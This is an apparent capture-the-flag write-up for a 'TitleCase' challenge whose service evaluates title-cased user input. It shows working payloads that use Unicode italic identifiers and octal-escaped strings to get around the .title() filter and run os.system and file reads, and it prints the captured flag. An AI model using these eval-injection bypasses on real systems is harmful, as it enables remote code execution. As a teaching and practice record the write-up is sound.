TitleCase
Challenge Description
A modern rerun of a SHA2017 challenge...The service reads your input, applies Python’s
.title()string method to it, and then passes the result intoeval().Example from the challenge:
# TitleCase.py #!/usr/bin/env python3 eval(input().title())
We connect to the service with:
nc titlecase.ctf.zone 1337
Vulnerability Overview
eval()will execute arbitrary Python expressions in the current process.
.title()converts identifiers likeprint→Print,getattr→Getattr, breaking most normal payloads.
- This is a naïve filter to prevent the classic
evalRCE — but it only impacts ASCII letters.
- Unicode identifiers (PEP 3131) and escape sequences inside strings behave differently.
Key Observations
- Identifiers get mangled:
print(true) → Print(True) → NameError
- Strings survive mostly intact:
- Inside quotes, only letter casing changes; backslash-octal escapes like
\141are unaffected.
- Inside quotes, only letter casing changes; backslash-octal escapes like
- Mathematical italic Unicode letters survive
.title()unchanged and are still valid Python identifiers:𝘱𝘳𝘪𝘯𝘵(U+1D621..U+1D629) works likeprint.
- Same works for
__import__,system,open, etc.
- Octal escapes allow us to write
"os","ls","flag", etc., in a way.title()can’t break.
Bypass Strategy
We combined two bypasses:
- Unicode Italic Identifiers for function/method names.
- Octal String Escapes for literal strings to avoid
.title()changing'os'to'Os'.
Step-by-Step Exploit
1. Test italic identifier bypass
𝘱𝘳𝘪𝘯𝘵('1')
Works! → Confirms Python treats italic letters as print.
2. Execute shell commands via os.system
Regular approach:
__import__('os').system('ls')
fails because 'os' → 'Os'.
3. Fix strings with octal escapes
"os"=\157\163
"ls -la"=\154\163\040\055\154\141
Payload:
__𝘪𝘮𝘱𝘰𝘳𝘵__('\157\163').𝘴𝘺𝘴𝘵𝘦𝘮('\154\163\040\055\154\141')
Lists files, revealing flag.
4. Read the flag
__𝘪𝘮𝘱𝘰𝘳𝘵__('\163\171\163').𝘴𝘵𝘥𝘰𝘶𝘵.𝘸𝘳𝘪𝘵𝘦(𝘰𝘱𝘦𝘯('\146\154\141\147').𝘳𝘦𝘢𝘥())
Output:
flag{651e7208b29581e7962d4b9bbf80e4ed}
Why This Works
.title()only changes cased letters in ASCII/Latin alphabets, not all Unicode letters.
- Python identifiers can legally contain many Unicode characters (PEP 3131), including mathematical italic letters that
.title()ignores.
- Inside string literals,
.title()does not interpret escapes, so\ooooctal codes are preserved exactly.
- Combining italic identifiers + octal-escaped strings gives full control over
eval()execution.
Takeaways
- Never trust
.title()or similar string transforms as a “security filter” beforeeval.
- Python’s Unicode identifier rules (PEP 3131) massively expand the surface area for bypasses.
- Even if keywords and builtins are mangled, an attacker can rebuild them via Unicode homoglyphs and escape sequences.